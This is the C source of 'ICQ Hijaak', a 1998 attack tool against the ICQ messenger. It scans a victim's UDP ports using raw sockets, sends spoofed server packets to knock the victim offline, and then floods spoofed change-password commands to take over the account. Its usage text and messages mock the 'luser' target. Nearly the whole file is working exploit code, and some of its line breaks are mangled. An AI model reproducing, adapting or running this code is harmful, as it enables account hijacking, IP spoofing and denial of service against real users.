/*
ICQ Hijaak
Version 1C
Author: wumpus@innocent.com
Copyright (c) 1998 Wolvesbane
By downloading or compiling this program,
you agree to the terms
of this license. If you do not agree with
any of these terms you
MUST delete this program
immediately from all storage areas
(including browser caches).
(A) You agree not to
use this program in any way that would
constitute a
violate of any applicable laws. This
may
included federal
laws if you live in the United States and
similar laws regarding
computer security in other countries.
(B) You agree to hold
the authors (referred to collective as
Wolvesbane) harmless
in any damages that result due to your
possession or use of
this software.
(C) Wolvesbane does not claim that
this program implements any
functions. As
the saying goes, "You get what you pay for." --
And you didn't pay anything
for this.
(D) This software is FREE for _NON-COMMERCIAL_
use. You may not
use this program for
any commercial use (or any other activity
which makes you
money with the assistance of this program).
The author is not interested
in commercial use of this program
(and cannot think of
what commercial use would consist of).
(E) This program was created using Linux
with IP-Masquerading to
run the ICQ program
unmodified and without any dissassembly.
The testing
was done with volunteers, and with a second
computer logged
into the ICQ network. No ICQ users were
harmed in the creation
or testing of this program.
(F) This copyright applies only to the code
written by Wolvesbane,
and not to anything
included under Fair Use.
(G) Please note that if you use ANY sections
of this code in your
work, (which
I expressly allow as long
as it is
NON-COMMERCIAL), you
are obligated to give me some credit in
your comments
(if it is a source file ) or in a string
constant if it is a
binary file. If you do not wish to do so,
you may NOT include
ANY portion of this file in your own work.
*/
#include <arpa/inet.h>
#include <netdb.h>
#include <netinet/in.h>
#include <stdarg.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/socket.h>
/* for AF_INET */
#include <sys/time.h>
#include <sys/types.h>
#include <unistd.h>
int MultiResolve( char * hostname,
int * addr_count,
struct in_addr ** addresses );
enum { FAILURE = -1, SUCCESS = 0 };
/*=========================================================================*/
typedef unsigned short int u16;
typedef unsigned long int u32;
typedef unsigned char
u8;
/*=========================================================================*/
#define byte(v,o) (*((u8 *)(&(v))+(o)))
#define word(v,o) (*((u16 *)((unsigned char *)(&(v))+(o)) ))
#define dword(v,o) (*((u32 *)((unsigned char *)(&(v))+(o))
))
unsigned char icq_check_data[256] = {
0x0a, 0x5b, 0x31, 0x5d,
0x20, 0x59, 0x6f, 0x75,
0x20, 0x63, 0x61, 0x6e,
0x20, 0x6d, 0x6f, 0x64,
0x69, 0x66, 0x79, 0x20,
0x74, 0x68, 0x65, 0x20,
0x73, 0x6f, 0x75, 0x6e,
0x64, 0x73, 0x20, 0x49,
0x43, 0x51, 0x20, 0x6d,
0x61, 0x6b, 0x65, 0x73,
0x2e, 0x20, 0x4a, 0x75,
0x73, 0x74, 0x20, 0x73,
0x65, 0x6c, 0x65, 0x63,
0x74, 0x20, 0x22, 0x53,
0x6f, 0x75, 0x6e, 0x64,
0x73, 0x22, 0x20, 0x66,
0x72, 0x6f, 0x6d, 0x20,
0x74, 0x68, 0x65, 0x20,
0x22, 0x70, 0x72, 0x65,
0x66, 0x65, 0x72, 0x65,
0x6e, 0x63, 0x65, 0x73,
0x2f, 0x6d, 0x69, 0x73,
0x63, 0x22, 0x20, 0x69,
0x6e, 0x20, 0x49, 0x43,
0x51, 0x20, 0x6f, 0x72,
0x20, 0x66, 0x72, 0x6f,
0x6d, 0x20, 0x74, 0x68,
0x65, 0x20, 0x22, 0x53,
0x6f, 0x75, 0x6e, 0x64,
0x73, 0x22, 0x20, 0x69,
0x6e, 0x20, 0x74, 0x68,
0x65, 0x20, 0x63, 0x6f,
0x6e, 0x74, 0x72, 0x6f,
0x6c, 0x20, 0x70, 0x61,
0x6e, 0x65, 0x6c, 0x2e,
0x20, 0x43, 0x72, 0x65,
0x64, 0x69, 0x74, 0x3a,
0x20, 0x45, 0x72, 0x61,
0x6e, 0x0a, 0x5b, 0x32,
0x5d, 0x20, 0x43, 0x61,
0x6e, 0x27, 0x74, 0x20,
0x72, 0x65, 0x6d, 0x65,
0x6d, 0x62, 0x65, 0x72,
0x20, 0x77, 0x68, 0x61,
0x74, 0x20, 0x77, 0x61,
0x73, 0x20, 0x73, 0x61,
0x69, 0x64, 0x3f, 0x20,
0x20, 0x44, 0x6f, 0x75,
0x62, 0x6c, 0x65, 0x2d,
0x63, 0x6c, 0x69, 0x63,
0x6b, 0x20, 0x6f, 0x6e,
0x20, 0x61, 0x20, 0x75,
0x73, 0x65, 0x72, 0x20,
0x74, 0x6f, 0x20, 0x67,
0x65, 0x74, 0x20, 0x61,
0x20, 0x64, 0x69, 0x61,
0x6c, 0x6f, 0x67, 0x20,
0x6f, 0x66, 0x20, 0x61,
0x6c, 0x6c, 0x20, 0x6d,
0x65, 0x73, 0x73, 0x61,
0x67, 0x65, 0x73, 0x20,
0x73, 0x65, 0x6e, 0x74,
0x20, 0x69, 0x6e, 0x63,
0x6f, 0x6d, 0x69, 0x6e };
#define MAX_NUM_ADDRESSES 255
int Resolve( char * hostname, struct in_addr * addr ) {
struct hostent * hinfo;
(void)memset( (void
*)addr, 0, sizeof( struct in_addr ));
if ( inet_aton( hostname,
addr) ) return SUCCESS;
if ( !(hinfo = gethostbyname(
hostname ) ) ) return FAILURE;
(void)memcpy( (void
*)addr, (void *)hinfo->h_addr,
sizeof(struct in_addr )); return SUCCESS; }
int MultiResolve( char * hostname, int * addr_count,
struct in_addr ** addresses
) {
int
host_count;
int
i;
char
* p;
struct in_addr
address;
struct hostent
* hinfo;
if ( inet_aton( hostname,
&address ) ) {
p = (char *)malloc(sizeof(address));
if ( !p ) {
fprintf(stderr,"MultiResolve: Allocation failed!\n");
return FAILURE;
}
(void)memcpy((void *)p,(void *)&address, sizeof(address) );
*addr_count = 1;
*addresses = (struct in_addr *)p; return SUCCESS; }
if ( !(hinfo = gethostbyname(hostname)
) ) return FAILURE;
if ( hinfo->h_length
!= sizeof( struct in_addr ) ) {
fprintf(stderr,"MultiResolve: h_length (%d) not equal "\
"to size of struct inaddr (%d) ",
hinfo->h_length, sizeof(struct in_addr) );
return FAILURE;
}
host_count = 0;
for (i = 0; i < MAX_NUM_ADDRESSES;
i++ ) {
struct in_addr * addr_ptr;
addr_ptr = (struct in_addr *)hinfo->h_addr_list[i];
if ( !addr_ptr )
break;
host_count++;
}
p = (char *)malloc(
host_count * hinfo->h_length );
if ( !p ) {
fprintf(stderr,"MultiResolve: Failed to allocate %d bytes\n",
host_count * hinfo->h_length );
return FAILURE;
}
*addresses = (struct
in_addr *)p;
for ( i = 0; i <
host_count; i++ ) {
(void)memcpy( (void *)p,(void *)hinfo->h_addr_list[i],
hinfo->h_length ); p += hinfo->h_length; }
*addr_count = host_count;
return SUCCESS; }
#define IP_VERS
0
#define IP_TOS
1
#define IP_TOTLEN 2
#define IP_ID
4
#define IP_FLAGS 6
#define IP_TIMETOLIVE 8
#define IP_PROTOCOL 9
#define IP_CHECKSUM 10
#define IP_SRC
12
#define IP_DST
16
#define IP_END
20
#define UDP_SOURCE 0
#define UDP_DEST 2
#define UDP_LENGTH 4
#define UDP_CHECKSUM 6
#define UDP_END
8
#define UCHDR_SOURCE 0
#define UCHDR_DEST 4
#define UCHDR_PROTOCOL 9
#define UCHDR_UDPLEN 10
#define UCHDR_END 12
#define ICMP_TYPE 0
#define ICMP_CODE 1
#define ICMP_CHECKSUM 2
#define ICMP_END 4
u16 cksum( u16 * buf, int numWords ) {
u32 sum;
sum = 0; while ( numWords
-- ) { sum += *(buf++); }
sum = ( sum >> 16) +
( sum & 0xffff ); sum += ( sum >> 16 );
return ~sum ; }
void make_ip_hdr( u8
* packet, int length, u8
protocol,
u16
id, u16 flags, struct in_addr me,
struct in_addr you, u8 ttl ) {
memset( packet, 0, IP_END
);
byte(*packet, IP_VERS
) = 0x45;
word(*packet, IP_TOTLEN
) = htons( length );
byte(*packet, IP_TIMETOLIVE
) = ttl;
byte(*packet, IP_PROTOCOL
) = protocol;
word(*packet, IP_ID
) = htons( id );
word(*packet, IP_FLAGS
) = htons( flags );
dword(*packet,IP_SRC
) = *((u32 *)&me);
dword(*packet,IP_DST
) = *((u32 *)&you);
word(*packet, IP_CHECKSUM
) = cksum( (u16 *)packet, IP_END/2 ); }
void make_udp_hdr( u8
* packet, int udplength, u16
sport,
u16 dport ) {
u8
* udp;
static u8
chdr[UCHDR_END];
u32
pchecksum;
memset( chdr, 0, UCHDR_END
);
udp = packet + ( ( byte(*packet,
IP_VERS ) & 0x0F ) * 4 );
memset( udp, 0, UDP_END
);
word(*udp, UDP_SOURCE
) = htons( sport );
word(*udp, UDP_DEST
) = htons( dport );
word(*udp, UDP_LENGTH
) = htons( udplength );
memcpy( chdr + UCHDR_SOURCE,
packet + IP_SRC, 8 );
byte( *chdr, UCHDR_PROTOCOL
) = byte( *packet, IP_PROTOCOL );
word( *chdr, UCHDR_UDPLEN
) = word( *udp, UDP_LENGTH );
pchecksum = ( ~cksum(
(u16 *)&chdr, UCHDR_END / 2 ) ) & 0xFFFF;
if ( udplength &
1 ) { byte( *udp, udplength + 1 ) = 0; }
pchecksum += ( ~cksum((u16
*)udp, udplength/ 2
+ (udplength&1))
) & 0xFFFF; pchecksum += ( pchecksum >> 16 );
word( *udp, UDP_CHECKSUM
) = (u16)~pchecksum ; }
int CreateRawSocket( void )
{
int
s;
int
option;
s = socket( AF_INET,
SOCK_RAW, IPPROTO_RAW );
if ( s < 0 ) { perror("Socket:");
exit(-1); }
option = 1;
if ( setsockopt( s,
IPPROTO_IP, IP_HDRINCL,
(char *)&option, sizeof( option ) ) < 0 ) {
perror("Setting IP_HDRINCL"); exit(0); }
return s; }
int GetLocalAddress( struct in_addr remote, struct in_addr * local
)
{
struct sockaddr_in
laddress;
struct sockaddr
* laddr = (struct sockaddr *)&laddress;
struct sockaddr_in
raddress;
struct sockaddr
* raddr = (struct sockaddr *)&raddress;
int
s;
int
err;
int
len;
s = socket( AF_INET,
SOCK_DGRAM, IPPROTO_UDP );
if ( s < 1 ) {
return FAILURE;
}
raddress.sin_port =
htons( 1984 ); /* DON'T CARE */
raddress.sin_family
= AF_INET;
raddress.sin_addr =
remote;
err = connect(s, raddr,
sizeof(raddress ));
if ( err < 0 ) {
return FAILURE;
}
len = sizeof(laddress);
err = getsockname(s,
laddr, &len );
if ( err < 0 ) {
return FAILURE;
}
*local = laddress.sin_addr;
close(s);
return SUCCESS;
}
int CreateICMPSocket( void )
{
int s;
s = socket( AF_INET,
SOCK_RAW, IPPROTO_ICMP );
if ( s < 1 )
return FAILURE;
return s;
}
int SendUDP( int s, struct in_addr source, struct in_addr
dest,
u16 sport, u16 tport )
{
static u8
packet[576];
struct sockaddr_in
raddress;
struct sockaddr
* raddr = (struct sockaddr *)&raddress;
int
psize;
int
err;
raddress.sin_port = htons(
1984 ); /* DON'T CARE */
raddress.sin_family
= AF_INET;
raddress.sin_addr =
dest;
psize = IP_END + UDP_END
+ 6;
make_ip_hdr( packet,
psize, IPPROTO_UDP, 0x666, 0,
source, dest, 0x7F );
make_udp_hdr( packet,
psize - IP_END, sport, tport);
err = sendto( s, packet,
psize, 0,raddr, sizeof(raddress));
if ( err != psize )
{
perror("Sending");
return FAILURE;
}
return SUCCESS;
}
const int verify_secs = 2;
int VerifyUDPPort( struct in_addr addr, u16 port )
{
int
s_icmp;
struct timeval
start_time, end_time, wait_time;
fd_set
rdfs;
int
err;
static u8
packet[1500]; /* should be max MTU */
struct sockaddr junkaddr;
int
junksize;
u8
* icmphdr;
u8
* fiphdr;
u8
* fudphdr;
int
len;
int
got_unreach;
struct in_addr
localaddr;
int
rawsock;
if ( GetLocalAddress(addr,
&localaddr) == FAILURE ) {
perror("GetLocalAddress");
exit(-1); }
s_icmp = CreateICMPSocket();
if ( s_icmp == FAILURE
) { perror("Getting ICMP socket"); exit(-1); }
rawsock = CreateRawSocket();
if ( rawsock < 0
) { perror("Getting Raw socket"); exit(-1); }
FD_ZERO( &rdfs );
FD_SET( s_icmp, &rdfs );
if ( SendUDP(rawsock,
localaddr, addr, 0x1984, port ) == FAILURE ) {
perror("Sending UDP packet"); exit(-1); }
got_unreach = 0; gettimeofday(
&start_time, NULL );
do { wait_time.tv_usec
= 0; wait_time.tv_sec = verify_secs;
err = select( s_icmp+1, &rdfs, NULL, NULL, &wait_time );
if ( -1 == err ) { perror("VerifyUDPPort - Select"); exit(-1); }
if ( !err ) break;
junksize = sizeof( struct sockaddr );
err = recvfrom( s_icmp, packet, 1500, 0,
&junkaddr, &junksize );
if ( -1 == err ) { perror("VerifyUDPPort - recvfrom: ");
exit(-1); }
if ( (byte(*packet,IP_PROTOCOL ) != IPPROTO_ICMP ) ||
(dword(*packet, IP_SRC ) != *((u32 *)&addr) ) )
goto check_timeout;
len = ( byte(*packet, 0 ) & 0x0F ) * 4;
icmphdr = packet + len;
if ( (byte(*icmphdr,ICMP_TYPE ) != 3 ) ||
(byte(*icmphdr,ICMP_CODE ) != 3 ) )
goto check_timeout;
fiphdr = icmphdr + ICMP_END + 4/*clear error code*/;
len = ( byte(*fiphdr, 0 ) & 0x0F ) * 4;
if ( (byte(*fiphdr,IP_PROTOCOL ) != IPPROTO_UDP ) ||
( (dword(*fiphdr, IP_DST ) != *((u32 *)&addr) ) )
)
goto check_timeout;
fudphdr = fiphdr + len;
if ( word(*fudphdr, UDP_DEST ) == htons( port ) ) {
got_unreach = 1; break; }
check_timeout:
gettimeofday( &end_time, NULL );
} while ( ( end_time.tv_sec
- start_time.tv_sec ) < verify_secs );
close( s_icmp ); close(
rawsock);
if ( got_unreach ) return
FAILURE;
else return SUCCESS;
}
typedef struct foobar
{
int
next;
int
prev;
u16
rem_port;
int
times;
} port_info;
#define MAX_BURST 128
#define UNUSED_HEAD MAX_BURST + 1
#define UNUSED_TAIL MAX_BURST + 2
#define LIVE_HEAD MAX_BURST
+ 3
#define LIVE_TAIL MAX_BURST
+ 4
#define FIRST_LPORT 55000
#define SEND_COUNT 3
#define NEXT(i) List[(i)].next
#define PREV(i) List[(i)].prev
#define PORT(i) List[(i)].rem_port
#define TIMES(i) List[(i)].times
int UDPScan( struct in_addr addr, u16 start, u16 end, u16 * tport
)
{
int
unused_head;
int
unused_tail;
int
live_head;
int
live_tail;
int
i;
port_info
List[ LIVE_TAIL + 1 ];
int
Current[ MAX_BURST ];
int
cur_min, cur_max;
int
now_port;
int
delay;
int
my_port;
int
cur_send;
struct timeval
wait_time;
fd_set
rdfs;
int
err;
int
s_icmp, rawsock;
struct in_addr
localaddr;
*tport = 0;
if ( GetLocalAddress(addr,
&localaddr) == FAILURE ) {
perror("GetLocalAddress"); return FAILURE; }
s_icmp = CreateICMPSocket();
if ( s_icmp == FAILURE
) {
perror("Getting ICMP socket"); return FAILURE; }
rawsock = CreateRawSocket();
if ( rawsock < 0
) {
perror("Getting Raw socket"); return FAILURE; }
FD_ZERO( &rdfs );
FD_SET( s_icmp, &rdfs
);
List[ LIVE_TAIL ].next
= -1; List[ LIVE_TAIL ].prev = LIVE_HEAD;
List[ LIVE_TAIL ].rem_port
= 0; List[ LIVE_HEAD ].prev = -1;
List[ LIVE_HEAD ].next
= LIVE_TAIL; List[ LIVE_HEAD ].rem_port = 0;
List[ UNUSED_TAIL ].next
= -1; List[ UNUSED_TAIL ].prev = UNUSED_HEAD;
List[ UNUSED_TAIL ].rem_port
= 0; List[ UNUSED_HEAD ].prev = -1;
List[ UNUSED_HEAD ].next
= UNUSED_TAIL;
List[ UNUSED_HEAD ].rem_port
= 0;
for ( i = 0; i <
MAX_BURST ; i++ ) {
PREV( i ) = PREV( UNUSED_TAIL ); NEXT( i ) = UNUSED_TAIL;
NEXT( PREV( i ) ) = i; PREV( NEXT( i ) ) = i; PORT( i ) = 0;
TIMES( i ) = SEND_COUNT; }
now_port = start;
cur_min = now_port;
cur_max = MAX_BURST;
my_port = FIRST_LPORT;
cur_send = 16;
while ( 1 ) {
int cur;
int cnt;
cur_max = cur_send;
cur_min = now_port;
cur = List[ LIVE_HEAD ].next;
cnt = 0;
while ( NEXT(cur) != -1 ) {
if (!cur_max ) {
break;
}
cnt++;
if ( SendUDP(rawsock, localaddr, addr,
my_port, PORT(cur) ) == FAILURE ) {
perror("Sending UDP packet");
return FAILURE;
}
cur_max--;
TIMES(cur)--;
cur = NEXT(cur);
if ( NEXT(cur) > LIVE_TAIL ) {
printf("Ugh! %d \n", NEXT(cur) );
exit(-1);
}
}
for ( i = 0; i < cur_max ; i ++ ) {
int node;
if ( cur_min > end )
break;
node = NEXT( UNUSED_HEAD );
if ( -1 == NEXT( node ) )
break;
NEXT( UNUSED_HEAD ) = NEXT( node );
PREV( NEXT(node) ) = UNUSED_HEAD;
PREV( node ) = PREV( LIVE_TAIL );
NEXT( node ) = LIVE_TAIL;
NEXT( PREV( node ) ) = node;
PREV( NEXT( node ) ) = node;
PORT( node ) = cur_min + i;
if ( SendUDP(rawsock, localaddr, addr,
my_port, cur_min+i ) == FAILURE ) {
perror("Sending UDP packet");
return FAILURE;
}
Current[ i ] = node;
}
if ( ( now_port >= end ) &&
( !cnt ) ) {
printf("Found nothing!\n");
return SUCCESS;
}
now_port += cur_max;
/*
* Delay, waiting for responses. Continue until the
* operation times out, meaning that we waited long enough
* for a packet..
*/
cnt = 0;
while ( 1 ) {
int junksize;
static struct sockaddr junkaddr;
static u8 packet[1500];
int len;
u8 * icmphdr, * fiphdr, *fudphdr;
int got_port;
int cur;
wait_time.tv_usec = 0;
wait_time.tv_sec = 5;
FD_SET( s_icmp, &rdfs );
err = select( s_icmp+1, &rdfs, NULL, NULL, &wait_time );
if ( -1 == err ) {
perror("UDPSCAN - Select");
return FAILURE;
}
if ( !err ) {
break;
}
junksize = sizeof( struct sockaddr );
err = recvfrom( s_icmp, packet, sizeof(packet), 0,
&junkaddr, &junksize );
if ( -1 == err ) {
perror("UDPSCAN - recvfrom: ");
exit(-1);
}
if ( (byte(*packet,IP_PROTOCOL ) != IPPROTO_ICMP ) ||
(dword(*packet, IP_SRC ) != *((u32 *)&addr) ) )
continue;
len = ( byte(*packet, 0 ) & 0x0F ) * 4;
icmphdr = packet + len;
if ( (byte(*icmphdr,ICMP_TYPE ) != 3 ) ||
(byte(*icmphdr,ICMP_CODE ) != 3 ) )
continue;
fiphdr = icmphdr + ICMP_END + 4/*clear error code*/;
len = ( byte(*fiphdr, 0 ) & 0x0F ) * 4;
if ( (byte(*fiphdr,IP_PROTOCOL ) != IPPROTO_UDP ) ||
( (dword(*fiphdr, IP_DST ) !=
*((u32 *)&addr) ) ) )
continue;
fudphdr = fiphdr + len;
got_port = ntohs( word(*fudphdr, UDP_DEST ) ) ;
if ( ( got_port >= cur_min ) &&
( got_port < (cur_min+cur_max) ) ) {
cur = Current[ got_port - cur_min ];
PREV( NEXT(cur) ) = PREV( cur );
NEXT( PREV(cur) ) = NEXT( cur );
PREV( cur ) = PREV( UNUSED_TAIL );
NEXT( cur ) = UNUSED_TAIL;
NEXT( PREV( cur ) ) = cur;
PREV( NEXT( cur ) ) = cur;
cnt++;
continue;
}
/*
* if we get here, then it was one of the older
* ones, so look through the array for it
*/
cur = NEXT( LIVE_HEAD );
while ( NEXT(cur) != -1 ) {
if ( PORT(cur) == got_port ) {
PREV( NEXT(cur) ) = PREV( cur );
NEXT( PREV(cur) ) = NEXT( cur );
PREV( cur ) = PREV( UNUSED_TAIL );
NEXT( cur ) = UNUSED_TAIL;
NEXT( PREV( cur ) ) = cur;
break;
}
cur = NEXT(cur);
}
if ( NEXT(cur) == -1 ) {
printf("RESPONSE FOR PORT %d UNEXPECTED! \n",
got_port);
} else {
cnt++;
}
}
printf("[UDP Scan working] Got %d responses \n", cnt );
if ( cnt < ( (cur_send/4) * 3 ) ) {
cur_send /= 2;
if ( cur_send < 16 ) {
cur_send = 16;
}
} else {
cur_send *= 2;
if ( cur_send > MAX_BURST ) {
cur_send = MAX_BURST;
} } cur = NEXT( LIVE_HEAD );
while ( NEXT(cur) != -1 ) {
if (!TIMES(cur) ) {
printf("SCORE! Port is %d \n",PORT(cur));
close( s_icmp );
close( rawsock);
*tport = PORT(cur);
return SUCCESS;
}
cur = NEXT(cur);
}
}
close( s_icmp );
close( rawsock);
return SUCCESS;
}
#define COMMAND_CHANGEPASSWORD 0x049C
#define COMMAND_LOGOFF 0x0438
#define RESPONSE_ERROR 0x00F0
int WritePacket(u8 * data_ptr,
int * size,
char * format,
... )
{
u8
* ptr;
va_list
ap;
u32
dword_param;
u16
word_param;
u8
byte_param;
u8
* string_param;
int
string_length;
int
* data_length;
ap = va_start( ap, format
);
ptr = data_ptr;
while ( *format ) {
switch ( *format++ ) {
case 'L': /* dword */
dword_param = va_arg(ap, u32 );
*(ptr++) = dword_param & 0xFF;
*(ptr++) = (dword_param >> 8 ) & 0xFF;
*(ptr++) = (dword_param >> 16) & 0xFF;
*(ptr++) = (dword_param >> 24) & 0xFF;
break;
case 'W': /* word */
word_param = va_arg(ap, u16 );
*(ptr++) = word_param & 0xFF;
*(ptr++) = (word_param >> 8 ) & 0xFF;
break;
case 'B': /* Byte */
byte_param = va_arg(ap, u8 );
*(ptr++) = byte_param;
break;
case 'S': /* ICQ string */
string_param = va_arg(ap, u8 * );
string_length = strlen( string_param ) + 1;
*(ptr++) = (string_length ) & 0xFF;
*(ptr++) = (string_length >> 8) & 0xFF;
memcpy( ptr, string_param, string_length );
ptr += string_length;
break;
case 'D': /* pure data with length byte */
data_length = va_arg(ap, int * );
string_param = va_arg(ap, u8 * );
memcpy( ptr, string_param , *data_length );
ptr += *data_length;
break;
default:
fprintf(stderr,"Invalid type %c \n", *(format-1) );
return FAILURE;
}
}
/* return the size taken
up */
*size = (ptr - data_ptr
);
return SUCCESS;
}
u32 icq_uin = -1;
u16 icq_seq = 0;
u16 icq_seq2 = 0;
#define ICQ4_VER 0
#define ICQ4_RANDOM 2
#define ICQ4_ZERO 4
#define ICQ4_COMMAND 6
#define ICQ4_SEQ 8
#define ICQ4_SEQ2 10
#define ICQ4_UID 12
#define ICQ4_CHECK 16
#define ICQ4_END 20
void create_icq4_hdr(
u8 * data_ptr,
u16 any_number,
u16 command,
int data_size
)
{
u32 check;
u32 check2;
u32 keyvalue;
int count;
int length;
int i;
u8 ofs;
u8 val;
length = data_size + ICQ4_END;
memset( data_ptr, 0, ICQ4_END );
word(*data_ptr, ICQ4_VER ) = 0x4; word(*data_ptr, ICQ4_RANDOM) =
any_number;
word(*data_ptr, ICQ4_COMMAND ) = command; word(*data_ptr, ICQ4_SEQ
) = icq_seq;
word(*data_ptr, ICQ4_SEQ2 ) = icq_seq2; dword(*data_ptr,ICQ4_UID
) = icq_uin;
dword(*data_ptr,ICQ4_CHECK) = 0x0;
check = ( *(data_ptr + 8) << 24) | ( *(data_ptr + 4) <<
16 ) |
( *(data_ptr + 2) <<
8 ) | ( *(data_ptr + 6) );
ofs = random() % length; val = *(data_ptr + ofs );
check2 = ( ofs << 24 ) | ( val << 16 );
ofs = random() % 256; val = icq_check_data[ ofs ];
check2 |= ( ofs << 8 ) | ( val ); check2 ^= 0x00FF00FF; check
^= check2;
dword(*data_ptr,ICQ4_CHECK ) = check;
keyvalue = length * 0x66756B65; keyvalue += check;
count = ( length + 3 ) / 4; count += 3; count /= 4;
for ( i = 0; i < count ; i++ ) {
u32 * r;
if ( i == 4 ) continue;
r = (u32 *)(data_ptr + (i*4) );
*r ^= (keyvalue + icq_check_data[i*4] ); }
word(*data_ptr, ICQ4_VER ) = 0x4; /* NECESSARY! */
}
void create_icq3_header(
u8 * data_ptr, int * size, u16 command,
u16 seq1, u16 seq2, u32 UIN )
{
int
len, len2, err, ofs, val;
u32
check, check2;
err = WritePacket( data_ptr,&len,
"WWWWL",
0x03, command, seq1, seq2, UIN );
if ( err == FAILURE
) {
printf("Programmer Error in create_icq3_header\n"); exit(-1); }
check = ( *(data_ptr
+ 8) << 24) | ( *(data_ptr + 4) << 16 ) |
( *(data_ptr + 2) << 8 ) | ( *(data_ptr + 6) );
ofs = random() % len;
val = *(data_ptr + ofs );
check2 = ( ofs <<
24 ) | ( val << 16 );
ofs = random() % 256;
val = icq_check_data[
ofs ];
check2 |= ( ofs <<
8 ) | ( val );
check2 ^= 0x00FF00FF;
check ^= check2;
err = WritePacket( (data_ptr
+ len),&len2,"L", check );
*size = len + len2; }
static u8 packet[ 1500 ];
void main( int argc, char ** argv );
void main( int argc, char ** argv )
{
int
count;
int
i;
u16
j, k;
struct in_addr * addr_list;
struct in_addr * target_list;
int
err;
struct in_addr
you;
struct in_addr
me;
int
rawsock;
struct sockaddr raddr;
struct sockaddr_in *
r_in = (struct sockaddr_in *)&raddr;
int
size;
u8
* data_ptr;
u8
* hdr_ptr;
int
hdr_size;
u16
your_port;
int
retries;
int
base_port;
if ( argc < 5 ) {
fprintf(stderr,
"--=--==[ ICQ Hijaak ]=====------------------------==--------------\n"
"Author: wumpus@innocent.com *
Copyright (c) 1998 Wolvesbane\n"
"Usage: \n"
" hijaak [options] icq-server
target-uin target-ip new-password \n"
"\n"
"icq-server: Packets will be *spoofed* from the
(possibly plural) \n"
"
IP addresses of this parameter. \n"
"\n"
"target-uin: D'Oh! \n\n"
"target-ip: Finding this is up to you.
May the farce be with you\n"
"\nnew-password: D'Oh! Take a guess \n"
"\nNo options are available at this time.\n" );
exit(-1);
}
base_port = 0;
if ( argc > 5 ) { base_port
= atoi( argv[5] ); }
if (!base_port)
base_port = 1024;
icq_uin = atol( argv[2]
);
if ( !icq_uin ) {
fprintf(stderr, "Who do you want me to kill, boss? \n");
exit(-1); }
err = MultiResolve(argv[3],&count,&target_list);
if ( err == -1 ) { herror("Resolving
target\n"); exit(-1); }
if ( count > 1 ) { fprintf(stderr,
"Hey! Moron! You need to specify an UNAMBIGUOUS victim IP.
\n" );
exit(-1); }
you = target_list[0];
free( target_list );
err = MultiResolve(argv[1],&count,&addr_list);
if ( err == -1 ){ herror("Resolving
ICQ server"); exit(-1); }
r_in->sin_port = htons(
1984 ); /* DON'T CARE */
r_in->sin_family = AF_INET;
r_in->sin_addr = you;
hdr_ptr = packet + IP_END
+ UDP_END;
rawsock = CreateRawSocket();
printf("** Scanning for
luser's ICQ port ...\n");
your_port = base_port;
while ( 1 ) { err =
UDPScan(you, your_port, 65535, &your_port );
if ( ( err == -1 ) || ( !your_port ) ) { fprintf(stderr,
"D'Oh! Can't find a target port. Better check that
target IP again!\n");
exit(-1); }
if ( FAILURE == VerifyUDPPort( you, your_port ) ) {
fprintf(stderr,
"UDP scan found invalid port. Retrying... Hit CTRL-C to exit\n");
continue; }
break;
}
printf("*** Got luser's
port at %d \n", your_port );
create_icq3_header(hdr_ptr,
&hdr_size, RESPONSE_ERROR, 0,
0, icq_uin ); retries = 3;
while ( retries-- )
{
printf("Trying to knock luser offline. Attempt %d\n",
3 - retries );
for ( i = 0; i < count ; i++ ) {
int psize;
psize = IP_END + UDP_END + hdr_size;
make_ip_hdr( packet, psize, IPPROTO_UDP, 0x666, 0,
addr_list[i], you, 0x7F );
make_udp_hdr( packet, psize - IP_END, 4000,your_port );
err = sendto( rawsock, packet, psize, 0,
&raddr, sizeof(raddr));
if ( err != psize ) { perror("Sending"); exit(-1); }
}
if ( FAILURE == VerifyUDPPort( you, your_port ) ) { break; }
sleep( 3 ); /* Give 'em some time */
if ( FAILURE == VerifyUDPPort( you, your_port ) ) { break; }
sleep(3);
}
printf("Retries is %d
\n", retries );
if ( 0 > retries ) {
fprintf(stderr,
"Uh Oh! Something ain't working. Can't toast the luser.
Sorry, dude.\n");
exit(-1); }
/* more time? how long
does it take to reconnect? */
sleep(16);
printf("** Scanning
for luser's _new_ ICQ port ...\n");
while ( 1 ) {
err = UDPScan(you, your_port, 65535, &your_port );
if ( ( err == -1 ) || ( !your_port ) ) { fprintf(stderr,
"D'Oh! Can't find the new port! Maybe your target is smarter
than you?\n");
exit(-1); }
if ( FAILURE == VerifyUDPPort( you, your_port ) ) {
fprintf(stderr,
"New UDP scan found invalid port. Retrying... Hit CTRL-C
to exit\n");
continue; } break; }
printf("*** Got luser's
new connection at %d \n", your_port );
printf("*** Hijaaking
account now...(*LONG* version)\n");
for ( k = 0; k <
14 ; k++ ) {
for ( j = 0; j < 14 ; j++ ) {
int psize;
icq_seq = k; icq_seq2 = j;
data_ptr = hdr_ptr + ICQ4_END;
WritePacket( data_ptr, &size, "S",argv[4] );
create_icq4_hdr(hdr_ptr, random()&0xFFFF,
COMMAND_CHANGEPASSWORD, size );
hdr_size = ICQ4_END;
for ( i = 0; i < count ; i++ ) {
psize = IP_END + UDP_END + hdr_size + size;
make_ip_hdr( packet, psize, IPPROTO_UDP,
0x666, 0, you, addr_list[i], 0x7F );
make_udp_hdr( packet, psize - IP_END,
your_port, 4000);
err = sendto( rawsock, packet, psize, 0,
&raddr, sizeof(raddr));
if ( err != psize ) { perror("Sending");
exit(-1); } usleep( 1000 );
err = sendto( rawsock, packet, psize, 0,
&raddr, sizeof(raddr));
if ( err != psize ) {
perror("Sending");
exit(-1);
} } } }
printf("Disconnecting
the remote luser... \n");
create_icq3_header(hdr_ptr,
&hdr_size, RESPONSE_ERROR, 0, 0, icq_uin );
for ( i = 0; i <
count ; i++ ) {
int psize;
psize = IP_END + UDP_END + hdr_size;
make_ip_hdr( packet, psize, IPPROTO_UDP, 0x666, 0,
addr_list[i], you, 0x7F );
make_udp_hdr( packet, psize - IP_END, 4000,your_port );
err = sendto( rawsock, packet, psize, 0,
&raddr, sizeof(raddr));
if ( err != psize ) { perror("Sending"); exit(-1); } }
free( addr_list );
}